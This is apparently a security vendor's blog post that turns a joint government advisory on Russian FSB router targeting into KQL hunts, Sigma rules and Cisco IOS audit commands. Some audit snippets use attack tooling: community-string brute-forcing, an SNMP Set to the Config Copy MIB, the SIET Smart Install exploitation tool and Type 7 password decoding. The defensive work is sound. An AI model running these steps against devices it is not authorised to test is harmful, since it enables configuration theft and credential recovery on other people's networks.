For MSSPs
Scale threat-led services across your customers
For Internal SOCs
Run threat-led operations in your own environment
Integrations
Connect Sol to your security stack
Blog
Latest articles and insights
FAQ
Answers about the Sol platform
About Us
Meet the people and purpose behind Elezar
Account
Login
Create Account
Support
Help Centre
Legal
Terms & Conditions
Privacy Policy
Threat Research
On 13 July 2026, NSA, ASD and a coalition of allied agencies published Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting. We turned it into something you can run: 15 MITRE ATT&CK techniques worked across four execution flows (threat hunting, detection engineering, attack simulation, and mitigation planning).
Figure 1 - FSB Center 16's router config-exfiltration path, mapped to MITRE ATT&CK. Supporting techniques (defense evasion, credential access, command & control) are covered in the walkthrough below.
The joint Cybersecurity Advisory - led by NSA and co-sealed by ASD, CISA, the FBI, DC3, NCSC-UK, Canada's Cyber Centre, NCSC-NZ and several European agencies - attributes a decade-plus campaign against edge networking devices to Russian FSB Center 16. The same actor cluster is tracked commercially as Berserk Bear, Energetic Bear, Dragonfly, Crouching Yeti and Static Tundra, with TTP overlap into Salt Typhoon.
The targets are the usual critical-infrastructure set: communications, the defense industrial base, energy, financial services, government facilities, and healthcare. The method is deliberately unglamorous. Actors scan the internet for routers running SNMP v1/v2c that still answer to default community strings, and occasionally exploit CVE-2018-0171 (Cisco Smart Install, TCP/4786, CVSS 9.8) or CVE-2008-4128. Once they can write SNMP, they send a Set-Request carrying the Cisco Config Copy MIB OID to copy the running-config to a staging file and push it out over TFTP to a leased VPS.
The point the agencies keep making: this is hygiene, not zero-days. Routers sit outside EDR, receive less scrutiny than servers, and store Type 7 and Type 0 passwords that are reversible or plaintext. An unpatched edge device is a durable, low-noise foothold - and closing it is mostly configuration.
Read the primary sources: the ASD advisory, the CISA joint CSA AA26-194A, and the NSA release. Everything below is Elezar's detection-engineering response, not agency guidance.
The five stages in Figure 1 are the load-bearing chain: reconnaissance, initial access, execution, collection, exfiltration. What makes it hard to catch is the supporting technique set wrapped around it.
Defense evasion (T1027). Scans are relayed through proxy chains with spoofed source addresses, so device logs attribute SNMP activity to loopback or internal IPs rather than the true origin. Command & control (T1090, T1071). The relays are themselves compromised routers and rented VPS nodes; the TFTP/FTP listeners that receive configs double as the C2 receive channel. Credential access (T1003). The exfiltrated configs carry Type 7 and Type 0 passwords, which are trivially recovered and reused to move laterally into downstream segments.
The advisory names five actions. If you do nothing else this week, do these. The per-technique mitigation matrix in Section 06 expands each into immediate and longer-term hardening.
Threat-led countermeasures based on the advisory provided. Every one of the 15 techniques carries a detection to catch it, a mitigation to close it, a breach simulation to prove the detection fires, and a hunt for retroactive coverage.
Everything is copy-paste ready - hover any code block and hit Copy. Two caveats before you ship: the rules are status: experimental / test - tune thresholds to your own baseline before promoting to production; and run every simulation in an isolated lab, never against live infrastructure.
status: experimental
test
Assume the alert never fired. Each row pairs a 30-day Sentinel KQL hunt with a native hunt on the device or the wire (Cisco IOS CLI, snmpwalk, tshark, GitHub tooling) and a falsifiable hypothesis to anchor it.
snmpwalk
tshark
public
private
let HuntStart = ago(30d); let ScanThreshold = 15; let TimeWindow = 5m; CommonSecurityLog | where TimeGenerated >= HuntStart | where ApplicationProtocol == "SNMP" or DestinationPort == 161 | where isnotempty(SourceIP) | where SourceIP !startswith "10." and SourceIP !startswith "192.168." and SourceIP !startswith "172." | summarize ScanCount = count(), DistinctTargets = dcount(DestinationIP), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Ports = make_set(DestinationPort) by SourceIP, bin(TimeGenerated, TimeWindow) | where DistinctTargets > ScanThreshold | extend DurationMins = datetime_diff( 'minute', LastSeen, FirstSeen) | project FirstSeen, LastSeen, SourceIP, ScanCount, DistinctTargets, DurationMins, Ports | order by DistinctTargets desc
! On each Cisco device - review ! SNMP auth failure log entries show logging | include SNMP show logging | include authFail show logging | include community ! Check SNMP trap history show snmp ! Review who queried SNMP recently show snmp host show snmp user
# Run from external/DMZ host # to confirm SNMP is not exposed nmap -sU -p 161 --open \ -T4 <your-public-ip-range> \ --reason # Check for default community strings nmap -sU -p 161 \ --script snmp-brute \ --script-args \ snmp-brute.communitiesdb=\ /usr/share/seclists/Misc/\ wordlist-common-snmp-community-strings.txt \ <your-public-ip-range>
let HuntStart = ago(30d); CommonSecurityLog | where TimeGenerated >= HuntStart | where DestinationPort in (4786, 443, 80, 8443) | where SourceIP !startswith "10." and SourceIP !startswith "192.168." and SourceIP !startswith "172." | summarize ProbeCount = count(), UniquePorts = dcount(DestinationPort), UniqueTargets = dcount(DestinationIP), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), PortList = make_set(DestinationPort) by SourceIP | extend SpanDays = datetime_diff( 'day', LastSeen, FirstSeen) | where ProbeCount > 3 | project FirstSeen, LastSeen, SourceIP, ProbeCount, UniqueTargets, SpanDays, PortList | order by ProbeCount desc
! Check if Smart Install is enabled show vstack config ! If output shows "Role: Client" or ! "Role: Director" - SMI is active ! Remediate: no vstack ! Also check for open TCP/4786 listener show control-plane host open-ports \ | include 4786 ! Confirm patch level against CVE-2018-0171 show version | include Version ! Cross-reference output against: ! https://tools.cisco.com/security/center/ ! content/CiscoSecurityAdvisory/ ! cisco-sa-20180328-smi2
# https://github.com/Sab0tag3d/SIET # Smart Install Exploitation Tool # (use for audit/detection only) git clone \ https://github.com/Sab0tag3d/SIET cd SIET pip3 install -r requirements.txt # Scan your subnet for SMI exposure python3 siet.py -i <your-subnet/24> \ --scan # Output lists all hosts with TCP/4786 # open and responding to SMI protocol
let HuntStart = ago(30d); let VPS_Indicators = dynamic([ "digitalocean","linode","vultr", "hetzner","ovh","choopa","serverius"]); CommonSecurityLog | where TimeGenerated >= HuntStart | where DestinationPort in (21, 69, 20) | where SourceIP !startswith "10." and SourceIP !startswith "192.168." and SourceIP !startswith "172." | extend DestHost = tostring( parse_url(RequestURL).Host) | summarize ConnCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Files = make_set(RequestURL) by SourceIP, DestinationIP, DestinationPort | join kind=leftouter ( ThreatIntelligenceIndicator | where Active == true | where NetworkIP != "" | project MaliciousIP=NetworkIP, ThreatType, ConfidenceScore ) on $left.DestinationIP == $right.MaliciousIP | project FirstSeen, LastSeen, SourceIP, DestinationIP, DestinationPort, ConnCount, Files, ThreatType, ConfidenceScore | order by ConnCount desc
! Review egress ACLs on all interfaces show ip access-lists ! Look for permit statements on: ! - UDP port 69 (TFTP) ! - TCP port 21/20 (FTP) ! Any permit = misconfiguration ! Check NetFlow for historical ! outbound TFTP/FTP connections show ip cache flow \ | include :0045 show ip cache flow \ | include :0015 ! Review IP accounting for ! unexpected outbound connections show ip accounting
let HuntStart = ago(30d); let Window = 2m; let SNMPIn = CommonSecurityLog | where TimeGenerated >= HuntStart | where DestinationPort == 161 and ApplicationProtocol == "SNMP" | project TimeIn=TimeGenerated, RelayCandidate=DestinationIP, InboundSource=SourceIP; let SNMPOut = CommonSecurityLog | where TimeGenerated >= HuntStart | where SourcePort == 161 and ApplicationProtocol == "SNMP" | project TimeOut=TimeGenerated, RelayCandidate=SourceIP, OutboundTarget=DestinationIP; SNMPIn | join kind=inner SNMPOut on RelayCandidate | where abs(datetime_diff( 'second', TimeOut, TimeIn)) < totalseconds(Window) | project TimeIn, TimeOut, RelayCandidate, InboundSource, OutboundTarget | order by TimeIn desc
! Verify IOS image integrity verify /sha512 flash:<ios-image.bin> ! Compare hash against Cisco's ! published hash at: ! https://software.cisco.com/download/ ! Check config change history show archive log config all ! Look for changes outside ! authorized change windows ! Check if running-config differs ! from startup-config (unexpected ! in-memory changes = red flag) show archive config differences \ nvram:startup-config \ system:running-config ! Review recent config modifications show logging | include \ "configured from\|CONFIG_I"
# Cisco IOS Software Checker # https://tools.cisco.com/security/ # center/softwarechecker.x # Bulk hash verification script # https://github.com/CiscoDevNet/ # cisco-ios-xe-integrity-checker git clone https://github.com/\ CiscoDevNet/\ cisco-ios-xe-integrity-checker cd cisco-ios-xe-integrity-checker pip3 install -r requirements.txt python3 integrity_check.py \ --host <router-ip> \ --username <admin> \ --password <pass>
let HuntStart = ago(30d); let CVETerms = dynamic([ "CVE-2018-0171","CVE-2008-4128", "smartinstall","smart_install", "cisco-smi","siet.py", "cisco_exploit"]); CommonSecurityLog | where TimeGenerated >= HuntStart | where RequestURL has_any (CVETerms) or AdditionalExtensions has_any (CVETerms) | where DeviceVendor in ( "Zscaler","BlueCoat","Squid", "FortiGate","PaloAlto") | project TimeGenerated, SourceIP, DestinationIP, RequestURL, DeviceAction, DeviceVendor | order by TimeGenerated desc
! Per device - capture IOS version show version | include \ "IOS\|Version\|uptime\|image" ! Show platform and features show version | include \ "Cisco IOS\|bytes of memory" ! Bulk hunt via Ansible (if deployed) # ansible all -m ios_command \ # -a "commands='show version'" \ # | grep -E "Version|IOS" ! Cross-reference against Cisco ! Software Checker for CVE-2018-0171: ! https://tools.cisco.com/security/ ! center/softwarechecker.x
# https://github.com/CiscoDevNet/ # netdevops-examples # Alternatively - Nessus/OpenVAS # plugin IDs for CVE-2018-0171: # Nessus: 109399 # OpenVAS: 1.3.6.1.4.1.25623.1.0.108330 # Run authenticated scan against # all network device management IPs # with these plugin IDs to find # unpatched devices at scale
let HuntStart = ago(30d); let AuthorisedMgmt = dynamic([ "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]); let ExploitPorts = dynamic([4786,161]); CommonSecurityLog | where TimeGenerated >= HuntStart | where DestinationPort in (ExploitPorts) | where DeviceAction !in ( "deny","block","drop","reset") | where SourceIP !startswith "10." and SourceIP !startswith "192.168." and SourceIP !startswith "172." | summarize SessionCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Actions = make_set(DeviceAction) by SourceIP, DestinationIP, DestinationPort | project FirstSeen, LastSeen, SourceIP, DestinationIP, DestinationPort, SessionCount, Actions | order by SessionCount desc
! Hunt for unexpected config changes show logging | include \ "CONFIG\|config\|vstack\|install" ! Hunt for new local user accounts ! (post-exploitation persistence) show running-config | include \ "username\|privilege\|secret" ! Check TCP connection table for ! any established sessions on 4786 show tcp brief | include 4786 ! Check for unexpected AAA changes show logging | include \ "AAA\|privilege\|enable" ! Hunt for unexpected SNMP writes show logging | include \ "SNMP\|snmp\|set\|OID"
# Hunt for Cisco SMI traffic on wire tshark -r capture.pcap \ -Y "tcp.port == 4786" \ -T fields \ -e frame.time \ -e ip.src \ -e ip.dst \ -e tcp.flags \ -e data.data \ | grep -v "^$" # Look for SMI magic bytes in payload tshark -r capture.pcap \ -Y "tcp.port == 4786 and \ data contains 00:00:00:04"
1.3.6.1.4.1.9.9.96
let HuntStart = ago(30d); let ConfigCopyOID = dynamic([ "1.3.6.1.4.1.9.9.96", "ccCopy","set-request", "CiscoCopyConfig"]); union CommonSecurityLog, Syslog | where TimeGenerated >= HuntStart | where AdditionalExtensions has_any (ConfigCopyOID) or SyslogMessage has_any (ConfigCopyOID) or ProcessName contains "snmp" | summarize EventCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Hosts = make_set(Computer), Sources = make_set(SourceIP) by bin(TimeGenerated, 1h) | order by FirstSeen desc
# Test read access to Config Copy MIB # (run from authorised management host) snmpwalk -v2c -c <community> \ <router-ip> \ 1.3.6.1.4.1.9.9.96 # If OID tree is returned - the # Config Copy MIB is exposed # Test whether Set-Requests succeed # (USE IN LAB ONLY - will trigger # a config copy if write access exists) snmpset -v2c -c <community> \ <router-ip> \ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 \ i 1 # i 1 = active row - if this returns # a value, write access is open # SNMPv3 equivalent audit snmpwalk -v3 -l authPriv \ -u <user> -a SHA -A <authpass> \ -x AES -X <privpass> \ <router-ip> \ 1.3.6.1.4.1.9.9.96
let HuntStart = ago(30d); let BaselineStart = ago(90d); let BaselineEnd = ago(31d); // Build baseline of known priv-15 sources let Baseline = Syslog | where TimeGenerated between( BaselineStart .. BaselineEnd) | where SyslogMessage contains "privilege" or SyslogMessage contains "level 15" or SyslogMessage contains "ENABLE" | summarize BaselineSources= make_set(HostIP) by Computer; // Hunt current period for new sources Syslog | where TimeGenerated >= HuntStart | where SyslogMessage contains "privilege" or SyslogMessage contains "level 15" or SyslogMessage contains "ENABLE" or SyslogMessage contains "conf t" | summarize EventCount = count(), FirstSeen = min(TimeGenerated), Sources = make_set(HostIP) by Computer | join kind=leftouter Baseline on Computer | extend NewSources = set_difference( Sources, BaselineSources) | where array_length(NewSources) > 0 | project Computer, FirstSeen, EventCount, NewSources | order by FirstSeen desc
! Hunt for all local user accounts ! and their privilege levels show running-config | include \ "^username" ! Hunt for enable password type ! Type 5 (MD5) = acceptable minimum ! Type 0 = plaintext (critical finding) ! Type 7 = reversible (critical finding) show running-config | include \ "enable\|secret\|password" ! Check for unexpected AAA changes show aaa sessions show aaa user all ! Review line access permissions show line | include "privilege\|User" ! Check for any new users added ! since last known-good config show archive config differences \ nvram:startup-config \ system:running-config \ | include "^+.*username"
let HuntStart = ago(30d); let KnownMgmtHosts = dynamic([ "10.10.10.10", // replace with "10.10.10.11" // your NMS IPs ]); CommonSecurityLog | where TimeGenerated >= HuntStart | where ApplicationProtocol == "SNMP" or DestinationPort == 161 | where SourceIP startswith "127." or SourceIP startswith "0.0.0." or SourceIP == DestinationIP or ( DestinationPort == 161 and SourceIP !in (KnownMgmtHosts) and SourceIP !startswith "10." and SourceIP !startswith "172." and SourceIP !startswith "192.168." ) | summarize EventCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Targets = make_set(DestinationIP) by SourceIP, DeviceAction | project FirstSeen, LastSeen, SourceIP, EventCount, Targets, DeviceAction | order by EventCount desc
# Capture SNMP on management interface # and look for anomalous source IPs tshark -i <mgmt-interface> \ -f "udp port 161" \ -T fields \ -e frame.time \ -e ip.src \ -e ip.dst \ -e snmp.community \ -e snmp.type \ -e snmp.name \ -E header=y \ -w snmp_hunt.pcap # Post-capture - hunt for spoofed IPs tshark -r snmp_hunt.pcap \ -Y "udp.port == 161 and \ (ip.src == 127.0.0.1 or \ ip.src == ip.dst)" \ -T fields \ -e ip.src -e ip.dst \ -e snmp.community
let HuntStart = ago(30d); // Step 1: IPs that touched mgmt ports let MgmtTouchers = CommonSecurityLog | where TimeGenerated >= HuntStart | where DestinationPort in ( 161, 4786, 22, 23) | where DeviceAction !in ( "deny","drop","block") | summarize by SourceIP; // Step 2: Hunt auth failures from // those same IPs on other services SigninLogs | where TimeGenerated >= HuntStart | where ResultType != 0 | where IPAddress in (MgmtTouchers) | summarize FailCount = count(), UniqueAccounts= dcount( UserPrincipalName), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Accounts = make_set( UserPrincipalName) by IPAddress | where FailCount > 5 | project FirstSeen, LastSeen, IPAddress, FailCount, UniqueAccounts, Accounts | order by FailCount desc
! Hunt for Type 0 (plaintext) passwords show running-config | include \ "password 0\| password [^57]" ! Hunt for Type 7 (reversible) passwords show running-config | include \ "password 7" ! Hunt for enable password (not secret) ! 'enable password' = plaintext or Type 7 ! 'enable secret 5' = MD5 (acceptable) ! 'enable secret 8' = PBKDF2 (good) show running-config | include \ "enable" ! Decode a Type 7 password in-place ! to confirm it is crackable ! (use this tool:) ! https://github.com/theevilbit/ ! ciscot7 python3 ciscot7.py -d \ <type7-hash-from-config>
# https://github.com/theevilbit/ciscot7 git clone \ https://github.com/theevilbit/ciscot7 cd ciscot7 # Decode all Type 7 hashes found # in an exported config file grep "password 7" config.bkp \ | awk '{print $NF}' \ | while read hash; do python3 ciscot7.py -d "$hash" done
1.3.6.1.4.1.9.9.96.1.1
1.3.6.1.4.1.9.9.96.1.1.1.1.5
let HuntStart = ago(30d); let BackupWindows = dynamic([ "02:00","03:00","04:00"]); // adjust let EnterpriseOIDs = dynamic([ "1.3.6.1.4.1.9.9.96", "1.3.6.1.4.1.9", "1.3.6.1.4.1"]); CommonSecurityLog | where TimeGenerated >= HuntStart | where ApplicationProtocol == "SNMP" | where AdditionalExtensions has_any (EnterpriseOIDs) or AdditionalExtensions contains "getBulk" or AdditionalExtensions contains "getNext" | extend HourOfDay = format_datetime( TimeGenerated, "HH:mm") | where HourOfDay !in (BackupWindows) | summarize QueryCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), OIDs = make_set( AdditionalExtensions) by SourceIP, DestinationIP | where QueryCount > 20 | project FirstSeen, LastSeen, SourceIP, DestinationIP, QueryCount, OIDs | order by QueryCount desc
# From authorised NMS host # (should succeed if NMS uses SNMP) snmpwalk -v2c -c <ro-community> \ <router-ip> \ 1.3.6.1.4.1.9.9.96 # From a non-management workstation # (should FAIL - if it succeeds, # SNMP ACL is not enforced) snmpwalk -v2c -c public \ <router-ip> \ 1.3.6.1.4.1.9.9.96 # Also test default community strings for c in public private community \ cisco admin monitor; do echo "Testing: $c" snmpget -v2c -c $c \ <router-ip> sysDescr.0 \ 2>/dev/null && \ echo "*** SUCCESS: $c works ***" done
config.bkp
output.txt
let HuntStart = ago(30d); let AuthorisedNMS = dynamic([ "10.10.10.10", // replace with "10.10.10.11" // your NMS IPs ]); let ConfigIndicators = dynamic([ "config.bkp","output.txt", "copy running-config", "Destination filename", "startup-config","tftp:"]); Syslog | where TimeGenerated >= HuntStart | where SyslogMessage has_any (ConfigIndicators) | extend SourceAddr = extract( @"(\d+\.\d+\.\d+\.\d+)", 1, SyslogMessage) | where isnotempty(SourceAddr) | where SourceAddr !in (AuthorisedNMS) | summarize EventCount = count(), FirstSeen = min(TimeGenerated), Messages = make_set( SyslogMessage, 5) by Computer, SourceAddr | project FirstSeen, Computer, SourceAddr, EventCount, Messages | order by FirstSeen desc
! Hunt flash storage for staging files dir flash: | include \ "config.bkp\|output.txt\|.cfg\|.bkp" dir nvram: | include \ "config.bkp\|output.txt" dir all-filesystems | include \ "config.bkp\|output.txt" ! If found - preserve as evidence ! then delete: ! more flash:config.bkp ! (review contents for exfil data) ! delete /force flash:config.bkp ! Hunt archive for config history show archive ! Review each archive entry for ! unexpected copies
let HuntStart = ago(30d); let Window = 3m; let SNMPReceived = CommonSecurityLog | where TimeGenerated >= HuntStart | where DestinationPort == 161 | project RecvTime=TimeGenerated, RelayIP=DestinationIP, OriginalSrc=SourceIP; let SNMPForwarded = CommonSecurityLog | where TimeGenerated >= HuntStart | where SourcePort == 161 or (DestinationPort == 161 and isnotempty(SourcePort)) | project FwdTime=TimeGenerated, RelayIP=SourceIP, FwdTarget=DestinationIP; SNMPReceived | join kind=inner SNMPForwarded on RelayIP | where FwdTime > RecvTime | where FwdTime - RecvTime < Window | summarize RelayCount = count(), FirstSeen = min(RecvTime), LastSeen = max(FwdTime), Sources = make_set(OriginalSrc), Targets = make_set(FwdTarget) by RelayIP | where RelayCount > 2 | project FirstSeen, LastSeen, RelayIP, RelayCount, Sources, Targets | order by RelayCount desc
! Hunt for unexpected static routes show ip route static ! Compare against authorised route list ! Any route to an unexpected next-hop ! for management subnets is suspicious ! Hunt for policy-based routing show ip policy show route-map ! Hunt for unexpected BGP prefixes ! (if BGP is used) show ip bgp | include \ "161\|4786\|69\|21" ! Check for SNMP proxy configuration show running-config | include \ "snmp-server proxy\|tftp-server\ \|ip forward-protocol" ! Hunt for unexpected NAT rules show ip nat translations show ip nat statistics
let HuntStart = ago(30d); CommonSecurityLog | where TimeGenerated >= HuntStart | where DestinationPort in (21, 69, 20) | where SourceIP startswith "10." or SourceIP startswith "172." or SourceIP startswith "192.168." | where DestinationIP !startswith "10." and DestinationIP !startswith "172." and DestinationIP !startswith "192.168." | summarize SessionCount = count(), BytesSent = sum( toint(SentBytes)), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Files = make_set(RequestURL) by SourceIP, DestinationIP, DestinationPort | extend ProtocolName = case( DestinationPort == 69, "TFTP", DestinationPort == 21, "FTP-ctrl", DestinationPort == 20, "FTP-data", "Unknown") | project FirstSeen, LastSeen, SourceIP, DestinationIP, ProtocolName, SessionCount, BytesSent, Files | order by BytesSent desc
! Hunt for TFTP server enabled show running-config | include \ "tftp-server" ! Any output here = misconfiguration ! Hunt for FTP server enabled show running-config | include \ "ftp-server\|ip ftp" ! Hunt for open UDP/69 listener show control-plane host open-ports \ | include 69 ! Hunt for file transfer history ! in the syslog buffer show logging | include \ "TFTP\|tftp\|FTP\|ftp" ! Check for ip forward-protocol ! (can enable TFTP forwarding) show running-config | include \ "ip forward-protocol"
# Hunt for TFTP sessions from # network device management IPs tshark -r capture.pcap \ -Y "udp.port == 69 or \ tcp.port == 21" \ -T fields \ -e frame.time \ -e ip.src \ -e ip.dst \ -e udp.dstport \ -e tcp.dstport \ -e tftp.source_file \ -e ftp.request.command \ -e ftp.request.arg \ -E header=y
let HuntStart = ago(30d); let ChainWindow = 10m; let ConfigStagingEvents = Syslog | where TimeGenerated >= HuntStart | where SyslogMessage has_any ( "config.bkp","output.txt", "copy running-config", "Destination filename") | project StageTime=TimeGenerated, Device=Computer, StageMsg=SyslogMessage; let ExfilEvents = CommonSecurityLog | where TimeGenerated >= HuntStart | where DestinationPort in (21,69,20) | where DestinationIP !startswith "10." and DestinationIP !startswith "172." and DestinationIP !startswith "192.168." | project ExfilTime=TimeGenerated, Device=Computer, ExfilDest=DestinationIP, ExfilPort=DestinationPort, ExfilFile=RequestURL; ConfigStagingEvents | join kind=inner ExfilEvents on Device | where ExfilTime > StageTime | where ExfilTime - StageTime < ChainWindow | project StageTime, ExfilTime, Device, StageMsg, ExfilDest, ExfilPort, ExfilFile | extend ChainGapMins = datetime_diff( 'minute', ExfilTime, StageTime) | order by StageTime desc
# Hunt TFTP for known exfil filenames tshark -r capture.pcap \ -Y "tftp" \ -T fields \ -e frame.time \ -e ip.src \ -e ip.dst \ -e tftp.type \ -e tftp.source_file \ | grep -iE \ "config\.bkp|output\.txt|\ running-config|startup-config" # Hunt FTP for config file transfers tshark -r capture.pcap \ -Y "ftp" \ -T fields \ -e frame.time \ -e ip.src -e ip.dst \ -e ftp.request.command \ -e ftp.request.arg \ | grep -iE \ "STOR|RETR" \ | grep -iE \ "config|output|\.bkp|\.cfg"
! Hunt syslog for TFTP transfer events show logging | include \ "TFTP\|tftp\|transfer\|config.bkp\ \|output.txt" ! Hunt IP accounting for TFTP flows ! to external destinations show ip accounting | include \ "\.69 \|:0045" ! Review full logging buffer for ! the complete kill-chain sequence: ! 1. SNMP Set-Request received ! 2. Copy running-config triggered ! 3. TFTP transfer initiated show logging last 500 | include \ "SNMP\|copy\|TFTP\|config"
Per-technique detections for Microsoft Sentinel (KQL) and platform-agnostic Sigma, ordered by position in the kill chain - the SNMP Set-Request execution and the config exfil are the events that matter most.
CommonSecurityLog | where TimeGenerated >= ago(1h) | where ApplicationProtocol == "SNMP" | where DestinationPort == 161 | summarize ScanCount=count(), DistinctTargets=dcount(DestinationIP) by SourceIP, bin(TimeGenerated, 5m) | where ScanCount > 50 and DistinctTargets > 20 | project TimeGenerated, SourceIP, ScanCount, DistinctTargets
title: SNMP Mass Scan from External Host id: t1595-001-snmp-scan status: experimental author: Elezar Detection Engineering logsource: product: firewall category: network_connection detection: selection: dst_port: 161 proto: udp timeframe: 5m condition: selection | count(dst_ip) by src_ip > 20 falsepositives: - Authorized network management scans level: high tags: - attack.reconnaissance - attack.t1595.001
CommonSecurityLog | where TimeGenerated >= ago(1h) | where DestinationPort in (4786, 443, 80) | summarize ProbeCount=count(), UniqueTargets=dcount(DestinationIP) by SourceIP, bin(TimeGenerated, 10m) | where ProbeCount > 30 and UniqueTargets > 10 | project TimeGenerated, SourceIP, ProbeCount, UniqueTargets
title: Cisco Smart Install Port Probing id: t1595-002-smi-probe status: experimental author: Elezar Detection Engineering logsource: product: firewall category: network_connection detection: selection: dst_port: 4786 proto: tcp timeframe: 10m condition: selection | count(dst_ip) by src_ip > 10 falsepositives: - Internal Cisco network management level: high tags: - attack.reconnaissance - attack.t1595.002
CommonSecurityLog | where TimeGenerated >= ago(24h) | where DestinationPort in (21, 69, 22) | where ThreatConfidence > 50 or isnotempty(MaliciousIP) | project TimeGenerated, SourceIP, DestinationIP, DestinationPort, ThreatDescription
title: Outbound TFTP/FTP to VPS Ranges id: t1583-003-vps-tftp status: experimental author: Elezar Detection Engineering logsource: product: firewall category: network_connection detection: selection: dst_port: [21, 69] initiated: 'true' filter: dst_ip|cidr: - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' condition: selection and not filter falsepositives: - Authorized firmware update servers level: medium tags: - attack.resource-development - attack.t1583.003
CommonSecurityLog | where TimeGenerated >= ago(1h) | where ApplicationProtocol == "SNMP" | where DestinationPort == 161 | where SourceIP !startswith "10." and SourceIP !startswith "192.168." and SourceIP !startswith "172." | project TimeGenerated, SourceIP, DestinationIP, AdditionalExtensions
title: SNMP from Non-Management Host id: t1584-008-snmp-relay status: experimental author: Elezar Detection Engineering logsource: product: firewall category: network_connection detection: selection: dst_port: 161 proto: udp filter: src_ip|cidr: - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' condition: selection and not filter falsepositives: - Cloud-hosted NMS with external IPs level: high tags: - attack.resource-development - attack.t1584.008
CommonSecurityLog | where TimeGenerated >= ago(24h) | where DestinationPort == 4786 | where RequestURL contains "smartinstall" or RequestURL contains ".bin" | project TimeGenerated, SourceIP, DestinationIP, RequestURL, DeviceAction
title: CVE-2018-0171 Exploit Attempt id: t1588-005-cve-2018-0171 status: experimental author: Elezar Detection Engineering references: - https://nvd.nist.gov/vuln/detail/ CVE-2018-0171 logsource: product: ids category: network detection: selection: dst_port: 4786 proto: tcp keywords: - 'smartinstall' - 'CVE-2018-0171' condition: selection level: critical tags: - attack.resource-development - attack.t1588.005 - cve.2018-0171
let DefaultCommunity = dynamic([ "public","private","community","cisco"]); CommonSecurityLog | where TimeGenerated >= ago(24h) | where DestinationPort == 4786 or DestinationPort == 161 | where DeviceAction != "deny" | where AdditionalExtensions has_any (DefaultCommunity) or DestinationPort == 4786 | project TimeGenerated, SourceIP, DestinationIP, DestinationPort, DeviceAction, DeviceVendor
title: Cisco Device Exploitation Attempt id: t1190-cisco-exploit status: experimental author: Elezar Detection Engineering logsource: product: firewall category: network_connection detection: smi: dst_port: 4786 proto: tcp snmp_default: dst_port: 161 proto: udp community|contains: - 'public' - 'private' condition: smi or snmp_default level: critical tags: - attack.initial-access - attack.t1190 - cve.2018-0171 - cve.2008-4128
CommonSecurityLog | where TimeGenerated >= ago(1h) | where ApplicationProtocol == "SNMP" | where AdditionalExtensions contains "1.3.6.1.4.1.9.9.96" or AdditionalExtensions contains "ccCopy" or AdditionalExtensions contains "set-request" | project TimeGenerated, SourceIP, DestinationIP, AdditionalExtensions
title: SNMP Set to Config Copy OID id: t1569-snmp-config-copy status: experimental author: Elezar Detection Engineering logsource: product: network_device category: snmp detection: selection: snmp_type: 'set-request' oid|startswith: '1.3.6.1.4.1.9.9.96' condition: selection falsepositives: - Authorized NMS SNMP config backup level: critical tags: - attack.execution - attack.t1569
CommonSecurityLog | where TimeGenerated >= ago(1h) | where DestinationPort in (4786, 161, 22) | where DeviceAction in ("permit","allow") | summarize SessionCount=count() by SourceIP, DestinationIP, bin(TimeGenerated, 5m) | where SessionCount > 5 | project TimeGenerated, SourceIP, DestinationIP, SessionCount
title: Rapid Access to Cisco Mgmt Ports id: t1068-cisco-privesc status: experimental author: Elezar Detection Engineering logsource: product: firewall category: network_connection detection: selection: dst_port: [4786, 161, 22] timeframe: 5m condition: selection | count() by src_ip > 5 falsepositives: - Automated network management level: critical tags: - attack.privilege-escalation - attack.t1068 - cve.2018-0171
CommonSecurityLog | where TimeGenerated >= ago(1h) | where ApplicationProtocol == "SNMP" | where DestinationPort == 161 | where SourceIP startswith "127." or SourceIP startswith "0.0.0." or SourceIP == DestinationIP | project TimeGenerated, SourceIP, DestinationIP, DeviceAddress
title: SNMP Scan with Spoofed Local IP id: t1027-snmp-ip-spoof status: experimental author: Elezar Detection Engineering logsource: product: firewall category: network_connection detection: selection: dst_port: 161 proto: udp src_ip|startswith: - '127.' - '0.0.0.' condition: selection falsepositives: - None expected level: high tags: - attack.defense-evasion - attack.t1027
SigninLogs | where TimeGenerated >= ago(24h) | where ResultType != 0 | where AppDisplayName in ( "SSH","Telnet","TACACS","RADIUS") | summarize FailCount=count() by UserPrincipalName, IPAddress, bin(TimeGenerated, 10m) | where FailCount > 10 | project TimeGenerated, UserPrincipalName, IPAddress, FailCount
title: Cred Reuse from Router Config id: t1003-router-cred-reuse status: experimental author: Elezar Detection Engineering logsource: product: cisco service: aaa detection: selection: event_type: 'authentication' auth_method: ['local','enable'] result: 'fail' timeframe: 10m condition: selection | count() by src_ip > 10 falsepositives: - Legitimate admin lockouts level: critical tags: - attack.credential-access - attack.t1003
CommonSecurityLog | where TimeGenerated >= ago(1h) | where ApplicationProtocol == "SNMP" | where AdditionalExtensions contains "1.3.6.1.4.1.9.9.96" or AdditionalExtensions contains "1.3.6.1.4.1.9.9.96.1.1.1.1.5" or AdditionalExtensions contains "getBulk" or AdditionalExtensions contains "getNext" | project TimeGenerated, SourceIP, DestinationIP, AdditionalExtensions
title: SNMP MIB Walk on Config Copy OID id: t1602-001-mib-dump status: experimental author: Elezar Detection Engineering logsource: product: network_device category: snmp detection: selection: snmp_type: - 'get-bulk-request' - 'get-next-request' oid|startswith: - '1.3.6.1.4.1.9.9.96' - '1.3.6.1.2.1' condition: selection falsepositives: - Authorized NMS scheduled MIB polls level: critical tags: - attack.collection - attack.t1602.001
